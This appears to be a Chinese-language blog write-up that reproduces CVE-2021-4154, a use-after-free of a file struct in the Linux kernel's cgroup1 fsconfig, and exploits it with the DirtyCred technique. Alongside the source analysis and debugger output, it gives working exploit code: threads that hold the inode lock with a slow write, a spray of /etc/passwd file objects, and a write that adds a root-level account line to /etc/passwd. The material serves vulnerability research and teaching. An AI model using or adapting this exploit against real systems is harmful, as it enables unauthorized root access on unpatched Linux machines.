CVE-2021-4154

CVE-2021-4154 复现,利用 file 结构体在同一特权 slab 中通过 DirtyCred 提权。

环境搭建

影响版本:Linux v5.13.4 以前,v5.13.4 已修补。

复现版本:Linux-5.13.3。exp, config及测试环境下载地址

编译选项:在编译时将 .config 中的 CONFIG_E1000 和 CONFIG_E1000E,变更为=y。

1
2
3
4
❯ wget https://mirrors.tuna.tsinghua.edu.cn/kernel/v5.x/linux-5.13.3.tar.xz
❯ tar -xvf ./linux-5.13.3.tar.xz
❯ nohup make -j $(nproc) bzImage &
// Warn for stack frames larger than 选项改为 4096(避免编译报错)

漏洞成因

patch

先看补丁:

源码分析

从系统调用入口开始逐级分析:

1
__do_sys_fsconfig (aux=4, _value=0x0 <fixed_percpu_data>, _key=0x4b226a "source", cmd=5, fd=3) 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
/**
* sys_fsconfig - Set parameters and trigger actions on a context
* @fd: The filesystem context to act upon
* @cmd: The action to take
* @_key: Where appropriate, the parameter key to set
* @_value: Where appropriate, the parameter value to set
* @aux: Additional information for the value
*
* This system call is used to set parameters on a context, including
* superblock settings, data source and security labelling.
*
* (*) fsconfig_set_fd: An open file descriptor is specified. @_value must be
* NULL and @aux indicates the file descriptor.
*/

SYSCALL_DEFINE5(fsconfig,
int, fd,
unsigned int, cmd,
const char __user *, _key,
const void __user *, _value,
int, aux)
{
struct fs_context *fc;
struct fd f;
int ret;
int lookup_flags = 0;

struct fs_parameter param = {
.type = fs_value_is_undefined,
};

if (fd < 0)
return -EINVAL;

switch (cmd) {
···
case FSCONFIG_SET_FD:
if (!_key || _value || aux < 0)
return -EINVAL;
break;
···
default:
return -EOPNOTSUPP;
}

f = fdget(fd); // 获得fd
if (!f.file)
return -EBADF;
ret = -EINVAL;
if (f.file->f_op != &fscontext_fops)
goto out_f;

fc = f.file->private_data;
if (fc->ops == &legacy_fs_context_ops) { // fc->ops=cgroup1_fs_context_ops
···
}

if (_key) {
param.key = strndup_user(_key, 256);
if (IS_ERR(param.key)) {
ret = PTR_ERR(param.key);
goto out_f;
}
}

switch (cmd) {
···
case FSCONFIG_SET_FD:
param.type = fs_value_is_file; // 设置 type
ret = -EBADF;
param.file = fget(aux); // 参数aux指定的文件描述符对应的struct file
if (!param.file)
goto out_key;
break;
default:
break;
}

ret = mutex_lock_interruptible(&fc->uapi_mutex);
if (ret == 0) {
ret = vfs_fsconfig_locked(fc, cmd, &param); // 进入
mutex_unlock(&fc->uapi_mutex);
}
···
}

这里涉及到两个主要的结构体,fs_parameter 和 fs_context。

fs_context 结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
struct fs_context {
const struct fs_context_operations *ops;
struct mutex uapi_mutex; /* Userspace access mutex */
struct file_system_type *fs_type;
void *fs_private; /* The filesystem's context */
void *sget_key;
struct dentry *root; /* The root and superblock */
struct user_namespace *user_ns; /* The user namespace for this mount */
struct net *net_ns; /* The network namespace for this mount */
const struct cred *cred; /* The mounter's credentials */
struct p_log log; /* Logging buffer */
const char *source; /* The source name (eg. dev path) */
void *security; /* Linux S&M options */
void *s_fs_info; /* Proposed s_fs_info */
unsigned int sb_flags; /* Proposed superblock flags (SB_*) */
unsigned int sb_flags_mask; /* Superblock flags that were changed */
unsigned int s_iflags; /* OR'd with sb->s_iflags */
unsigned int lsm_flags; /* Information flags from the fs to the LSM */
enum fs_context_purpose purpose:8;
enum fs_context_phase phase:8; /* The phase the context is in */
bool need_free:1; /* Need to call ops->free() */
bool global:1; /* Goes into &init_user_ns */
bool oldapi:1; /* Coming from mount(2) */
};

fs_parameter 结构体

1
2
3
4
5
6
7
8
9
10
11
12
struct fs_parameter {
const char *key; /* Parameter name */
enum fs_value_type type:8; /* The type of value here */
union {
char *string;
void *blob;
struct filename *name;
struct file *file;
};
size_t size;
int dirfd;
};

进入 vfs_fsconfig_locked 前 param 的结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
gef➤  p *param
$5 = {
key = 0xffff888101eb3bc8 "source",
type = fs_value_is_file,
{
string = 0xffff88810248f500 "",
blob = 0xffff88810248f500,
name = 0xffff88810248f500,
file = 0xffff88810248f500
},
size = 0x0,
dirfd = 0x0
}

继续走:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
static int vfs_fsconfig_locked(struct fs_context *fc, int cmd,
struct fs_parameter *param)
{
struct super_block *sb;
int ret;

ret = finish_clean_context(fc);
if (ret)
return ret;
switch (cmd) {
···
default:
if (fc->phase != FS_CONTEXT_CREATE_PARAMS &&
fc->phase != FS_CONTEXT_RECONF_PARAMS)
return -EBUSY;

return vfs_parse_fs_param(fc, param); // 进入
}
fc->phase = FS_CONTEXT_FAILED;
return ret;
}

继续进入之前,fc:

1
2
3
4
5
6
7
8
9
10
11
gef➤  p *fc
$3 = {
ops = 0xffffffff82228420 <cgroup1_fs_context_ops>,
···
fs_type = 0xffffffff829a2e80 <cgroup_fs_type>,
···
source = 0x0 <fixed_percpu_data>,
···
phase = FS_CONTEXT_CREATE_PARAMS,
···
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
int vfs_parse_fs_param(struct fs_context *fc, struct fs_parameter *param)
{
int ret;

if (!param->key)
return invalf(fc, "Unnamed parameter\n");
···
if (fc->ops->parse_param) { // 若存在 parse_apram 函数则调用解析
ret = fc->ops->parse_param(fc, param); // 进入
if (ret != -ENOPARAM)
return ret;
}

/* If the filesystem doesn't take any arguments, give it the
* default handling of source.
*/
if (strcmp(param->key, "source") == 0) { // [!] 注意这里,对 param->type 进行了 string 的判断,是全面的
if (param->type != fs_value_is_string)
return invalf(fc, "VFS: Non-string source");
if (fc->source)
return invalf(fc, "VFS: Multiple sources");
fc->source = param->string;
param->string = NULL;
return 0;
}

return invalf(fc, "%s: Unknown parameter '%s'",
fc->fs_type->name, param->key);
}
EXPORT_SYMBOL(vfs_parse_fs_param);

进入漏洞函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
int cgroup1_parse_param(struct fs_context *fc, struct fs_parameter *param)
{
struct cgroup_fs_context *ctx = cgroup_fc2context(fc);
struct cgroup_subsys *ss;
struct fs_parse_result result;
int opt, i;

opt = fs_parse(fc, cgroup1_fs_parameters, param, &result);
if (opt == -ENOPARAM) {
if (strcmp(param->key, "source") == 0) { // [!][1]
if (fc->source) // [!][2]
return invalf(fc, "Multiple sources not supported");
fc->source = param->string;
param->string = NULL;
return 0;
}
···
}
···
return 0;
}

注意[1][2]处没有像上面一样判断是否为字符串。而就将 param->string 处的值赋值给了 fc->source。注意 fc->source 是一个 const char 类型的指针。再回顾一下 fs_parameter 的结构:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/*
* Type of parameter value.
*/
enum fs_value_type {
fs_value_is_undefined,
fs_value_is_flag, /* Value not given a value */
fs_value_is_string, /* Value is a string */
fs_value_is_blob, /* Value is a binary blob */
fs_value_is_filename, /* Value is a filename* + dirfd */
fs_value_is_file, /* Value is a file* */
};

struct fs_parameter {
const char *key; /* Parameter name */
enum fs_value_type type:8; /* The type of value here */
union {
char *string;
void *blob;
struct filename *name;
struct file *file;
};
size_t size;
int dirfd;
};

string 所在的字段是一个联合体,根据 fs_value_type 来确定,而由于之前的设定,此处的 type 为:

所以此时相当于将系统调用传入的最后一个参数指向的 file 结构体的指针赋值给了 fc->context。而正常的逻辑应该是这里只想传递一下字符串。此时将文件结构体认为是字符串,后面在 close 文件系统描述符的时候就会发生非法释放该结构体。

非法释放文件结构体

寻找关闭文件系统文件描述符时的具体操作,首先释放使用的是 fscontext_release 函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
static int fscontext_release(struct inode *inode, struct file *file)
{
struct fs_context *fc = file->private_data;

if (fc) {
file->private_data = NULL;
put_fs_context(fc); // 传入 fs_context
}
return 0;
}

const struct file_operations fscontext_fops = {
.read = fscontext_read,
.release = fscontext_release,
.llseek = no_llseek,
};

调用了 put_fs_context 来释放 struct fs_context 的各个字段和其自身:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
/**
* put_fs_context - Dispose of a superblock configuration context.
* @fc: The context to dispose of.
*/
void put_fs_context(struct fs_context *fc)
{
struct super_block *sb;

if (fc->root) {
sb = fc->root->d_sb;
dput(fc->root);
fc->root = NULL;
deactivate_super(sb);
}

if (fc->need_free && fc->ops && fc->ops->free)
fc->ops->free(fc);

security_free_mnt_opts(&fc->security);
put_net(fc->net_ns);
put_user_ns(fc->user_ns);
put_cred(fc->cred);
put_fc_log(fc);
put_filesystem(fc->fs_type);
kfree(fc->source); // [!!!]
kfree(fc);
}
EXPORT_SYMBOL(put_fs_context);

注意倒数第二行会直接 kfree fc->source,而这里在上面构造的系统调用中为最后一个参数所指定的文件结构体。而文件描述符还是会指向此处。但是此处已经被 free,那么再打开其他文件时创建的 file 结构体就有可能占用此处,形成 UAF。进而通过该文件描述符修改其他文件。

漏洞利用

漏洞的利用主要是 DirtyCred 技术。细节见参考文章[1]。

本文只对其中重要的利用过程描述。

基础概念

Credentials in Linux kernel

凭证就是包含了一些权限信息的内核属性,最常见的就是 cred,文件的 file,inode 等,这些结构体中都包括了一些指明所属和各种权限的字段。如果能通过一些漏洞完成篡改/替换这些凭证结构或其中的关键信息,就可以达到提权的效果。初学 linux kernel 时覆写 task struct 就是相同的思想。

cred

struct cred 常用于内核 task 模块中,表示一个进程/任务的权限信息,包括uid、gid、euid…等身份信息,还有capability 信息。

cred 结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
/* RCU deletion */
union {
int non_rcu; /* Can we skip RCU deletion? */
struct rcu_head rcu; /* RCU deletion hook */
};
} __randomize_layout;

file

struct file 结构体描述了一个可以打开的文件的基本信息。包括读写权限,inode 信息等。

file 结构体

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
struct file {
union {
struct llist_node fu_llist;
struct rcu_head fu_rcuhead;
} f_u;
struct path f_path;
struct inode *f_inode; /* cached value */
const struct file_operations *f_op;

/*
* Protects f_ep, f_flags.
* Must not be taken from IRQ context.
*/
spinlock_t f_lock;
enum rw_hint f_write_hint;
atomic_long_t f_count;
unsigned int f_flags;
fmode_t f_mode; //读写权限
struct mutex f_pos_lock;
loff_t f_pos;
struct fown_struct f_owner;
const struct cred *f_cred;
struct file_ra_state f_ra;

u64 f_version;
#ifdef CONFIG_SECURITY
void *f_security;
#endif
/* needed for tty driver, and maybe others */
void *private_data;

#ifdef CONFIG_EPOLL
/* Used by fs/eventpoll.c to link all the hooks to this file */
struct hlist_head *f_ep;
#endif /* #ifdef CONFIG_EPOLL */
struct address_space *f_mapping;
errseq_t f_wb_err;
errseq_t f_sb_err; /* for syncfs */
} __randomize_layout
__attribute__((aligned(4))); /* lest something weird decides that 2 is OK */

struct file_handle {
__u32 handle_bytes;
int handle_type;
/* file identifier */
unsigned char f_handle[];
};

slab

通常情况下,不同大小的 slab 几乎不会相邻。而即使相同大小,也不能保证一定相邻,所以才有了常用的一些堆喷调节堆布局的技巧。此外,通用 slab 和 特殊 slab 也很难相邻。

常用的 kmalloc-xx 的内存为通用 slab。还有一种特殊 slab,以申请 struct file 为例,在 alloc_file 中:

1
2
3
4
5
6
7
8
9
static struct file *__alloc_file(int flags, const struct cred *cred)
{
struct file *f;
int error;

f = kmem_cache_zalloc(filp_cachep, GFP_KERNEL);
···
return f;
}

filp_cachep 的初始化:

1
2
3
4
5
6
7
static struct kmem_cache *filp_cachep __read_mostly;
void __init files_init(void)
{
filp_cachep = kmem_cache_create("filp", sizeof(struct file), 0,
SLAB_HWCACHE_ALIGN | SLAB_PANIC | SLAB_ACCOUNT, NULL);
percpu_counter_init(&nr_files, 0, GFP_KERNEL);
}

这里初始化了一个叫做 filp 的slab(struct kmem_cache),其负责分配内存大小为 sizeof(struct file) 的 slab,以后所有的 struct file 都会使用该 slab 分配。

cred 的分配类似,都是从专有的 slab 中进行分配。

构造漏洞

结合本文漏洞的成因与 DirtyCred 利用思路,通过漏洞可以释放任意的文件结构体。而普通文件的文件结构体和高权限的文件结构体都在 filp 中申请,也就是发生在同一个 slab 中的文件结构体的 UAF。

延长条件竞争窗口

DirtyCred 本质上是一个条件竞争的利用手段。条件竞争的关键就是延长条件竞争的窗口期。常用的有 userfaultfd 和 FUSE。该漏洞使用一种在新版本下利用文件系统锁的来延长窗口的方式。利用文件系统的 inode 锁:

  1. 在已经有一个进程对一个文件进行写入操作的时候,会给文件 inode 上锁,其他向该文件进行写入的进程需要等待上一个进程写入完成后解锁;
  2. 对文件是否可以写入的权限判断并不受锁的影响。

那么思路就是:

  1. 先利用一个进程向一个可写文件写入大量内容,inode 锁就会锁住较长的时间;
  2. 再利用第二个进程向该文件写入 “hi:x:0:0:root:/:/bin/sh" (即想向 /etc/passwd 等特权文件中写入的内容);
  3. 第三个进程利用漏洞替换 file 结构体,若成功替换则会向特权文件中写入恶意内容。

借用 bsauce 师傅博客中简图,纵向代表执行时间:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
   Thread 0: slow write               Thread 1: cmd write                      Thread 3: exploit
__fdget_pos (no lock) __fdget_pos (bypass lock) |
| | |
| | |
\/ \/ |
ext4_file_write_iter (lock inode) ext4_file_write_iter (wait for lock) |
| | |
| | |
\/ | \/
normal write | replace the file structure
| |
| |
\/ |
write done, release inode lock |
\/
get inode lock and then write
|
\/
write done

在检查写许可之前会调用 __fdget_pos():

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#define file_count(x)	atomic_long_read(&(x)->f_count)
unsigned long __fdget_pos(unsigned int fd)
{
unsigned long v = __fdget(fd);
struct file *file = (struct file *)(v & ~3);

if (file && (file->f_mode & FMODE_ATOMIC_POS)) {
if (file_count(file) > 1) {
v |= FDPUT_POS_UNLOCK;
mutex_lock(&file->f_pos_lock);
}
}
return v;
}

在满足条件后会获取 file->f_pos_lock 锁,可能导致线程 2 也卡死在这里,这样就无法增大从写许可检查与实际写之间的时间窗口了。而在线程1、线程2中打开的都是同一个文件,file_count 获取到的 reference count 一定是大于1的,那么想要避免上述情况,就需要移除 FMODE_ATOMIC_POS flag。

在 open 调用中,只要打开常规文件,都会设置 FMODE_ATOMIC_POS,解决办法是作者发现打开软连接文件就不会设置这个 flag,这样就能避免两个线程在 __fdget_pos 中因为竞争而卡住。

1
2
3
/* POSIX.1-2008/SUSv4 Section XSI 2.9.7 */
if (S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode))
f->f_mode |= FMODE_ATOMIC_POS;

文件系统锁:ext4_buffered_write_iter 中会对 inode 上锁,避免多线程同时写入同一文件,这个锁在写许可检查与实际写之间。线程1获得锁并写入大量数据,线程2将恶意数据写入同一文件(软连接文件不会在 __fdget_pos() 中卡住),在 ext4_file_write_iter 中获取 inode 锁时暂停,线程3触发漏洞释放原来文件的 file 结构,并打开大量特权文件,喷射大量 file 结构进行替换,等待线程2获得锁后便会向特权文件中写入恶意数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
static ssize_t
ext4_file_write_iter(struct kiocb *iocb, struct iov_iter *from)
{
struct inode *inode = file_inode(iocb->ki_filp);

if (unlikely(ext4_forced_shutdown(EXT4_SB(inode->i_sb))))
return -EIO;

#ifdef CONFIG_FS_DAX
if (IS_DAX(inode))
return ext4_dax_write_iter(iocb, from);
#endif
if (iocb->ki_flags & IOCB_DIRECT)
return ext4_dio_write_iter(iocb, from);
else
return ext4_buffered_write_iter(iocb, from);
}

static ssize_t ext4_buffered_write_iter(struct kiocb *iocb,
struct iov_iter *from)
{
ssize_t ret;
struct inode *inode = file_inode(iocb->ki_filp);
···
ext4_fc_start_update(inode);
inode_lock(inode);
ret = ext4_write_checks(iocb, from);
if (ret <= 0)
goto out;
···
ret = generic_perform_write(iocb->ki_filp, from, iocb->ki_pos);
···

out:
inode_unlock(inode);
···
return ret;
}

利用实现

综上,整理流程为:

  1. 直接对一个文件进行一次非法释放,这样该文件描述符就会指向一个被释放的 struct file 结构体;
  2. A 进程对该文件进行大量写入,inode会将其上锁;
  3. B 进程使用已经被释放的文件描述符尝试写入任意内容,会先通过权限校验,然后等待A进程写入结束;
  4. C 进程喷射大量 passwd 文件,该文件的文件结构体会覆盖之前释放的 struct file 内存区域;
  5. B 进程等待结束,此时 file 结构体已被替换,最终就会写入到passwd之中。

slow_write 对应 A 进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
void *slow_write() {
printf("[*] start slow write to get the lock\n");
int fd = open("./uaf", 1);

if (fd < 0) {
perror("[-] error open uaf file.");
exit(-1);
}

unsigned long int addr = 0x30000000;
int offset;
for (offset = 0; offset < 0x80000; offset++) {
void *r = mmap((void *)(addr + offset * 0x1000), 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);
if (r < 0)
printf("[-] allocate failed at 0x%x.\n", offset);
}

assert(offset > 0);

void *mem = (void *)(addr);
memcpy(mem, "hhhhh", 5);
struct iovec iov[5];
for (int i = 0; i < 5; i++) {
iov[i].iov_base = mem;
iov[i].iov_len = (offset - 1) * 0x1000;
}

run_write = 1;
if (writev(fd, iov, 5) < 0)
perror("slow write.");
printf("[+] slow write done.\n");
}

write_cmd 对应 B 进程:

1
2
3
4
5
6
7
8
void *write_cmd() {
char data[1024] = "hi:x:0:0:root:/:/bin/sh\n";
struct iovec iov = {.iov_base = data, .iov_len = strlen(data)};
while (!run_write) {}
run_spray = 1;
if (writev(uaf_fd, &iov, 1) < 0) printf("[-] failed to write.(DirtyCred)\n");
printf("[+] overwrite done. (run after the slow write)\n");
}

触发漏洞和替换文件结构体都可以在主进程中完成:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
int spray_files() {
while (!run_spray) {}
int found = 0;
// spray priviledged file object
printf("[+] got uaf fd %d, start spray.\n", uaf_fd);
for (int i = 0; i < MAX_FILE_NUM; i++) {
fds[i] = open("/etc/passwd", O_RDONLY);
if (fds[i] < 0) {
perror("open file");
printf("%d\n", i);
}
if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, fds[i]) == 0) {
found = 1;
printf("[!] found, file id %d.\n", i);
for (int j = 0; j < i; j++) close(fds[j]);
break;
}
}
if (found) {
getchar(); // debug
sleep(4);
return 0;
}
return -1;
}

void trigger() {
int fs_fd = syscall(__NR_fsopen, "cgroup", 0);
if (fs_fd < 0) {
perror("fsopen.");
printf("[-] fsopen failed.\n");
}

symlink("./data", "./uaf");

uaf_fd = open("./uaf", 1);
if (uaf_fd < 0) printf("[-] failed to open symbolic file.\n");
printf("[+] open symbolic file.\n");

if (syscall(__NR_fsconfig, fs_fd, 5, "source", 0, uaf_fd)) {
perror("[-] fsconfig.");
exit(-1);
}
close(fs_fd); // [!] 触发 kfree(fc->source), 释放 uaf_fd 文件结构体
}

过程调试

触发漏洞并且最后 close 掉文件系统的文件描述符:

1
2
3
4
5
6
7
8
9
10
void trigger() {
int fs_fd = syscall(__NR_fsopen, "cgroup", 0);
···
symlink("./data", "./uaf");
···
if (syscall(__NR_fsconfig, fs_fd, 5, "source", 0, uaf_fd)) {
···
}
close(fs_fd);
}

在漏洞函数处下断点,查看第一次 param->file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gef➤  p *(struct file *)0xffff888103eebe00
$3 = {
···
f_inode = 0xffff8881033d4190,
f_op = 0xffffffff8224c280 <ext4_file_operations>,
···
f_cred = 0xffff888102475a80,
···
}

gef➤ p *(struct inode *)0xffff8881033d4190
$11 = {
i_mode = 0x81a4,
i_opflags = 0xd,
i_uid = { /* inode拥有者的id */
val = 0x3e8
},
i_gid = { /* inode所属的群组id */
val = 0x3e8
},
···
}

经过整个利用过程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gef➤  p *(struct file *)0xffff888103eebe00
$9 = {
···
f_inode = 0xffff888101210a70,
f_op = 0xffffffff8224c280 <ext4_file_operations>,
···
f_cred = 0xffff888102475a80,
···
}

gef➤ p *(struct inode *)0xffff888101210a70
$10 = {
i_mode = 0x81a4,
i_opflags = 0xd,
i_uid = { /* inode拥有者的id */
val = 0x0
},
i_gid = { /* inode所属的群组id */
val = 0x0
},
···
}

可见喷射 /etc/passwd 的 file 结构体成功占据了被非法释放的 uaf_fd 的 file 结构体的内存。

效果:

参考文章

  1. kernel exploit Dirty Cred: 一种新的无地址依赖漏洞利用方案_dirtycred_breezeO_o的博客-CSDN博客
  2. 【kernel exploit】CVE-2021-4154 错误释放任意file对象-DirtyCred利用 — bsauce
  3. 漏洞分析 CVE-2021-4154 cgroup1 fsconfig UAF内核提权_breezeO_o的博客-CSDN博客
  4. DirtyCred: Escalating Privilege in Linux Kernel (zplin.me)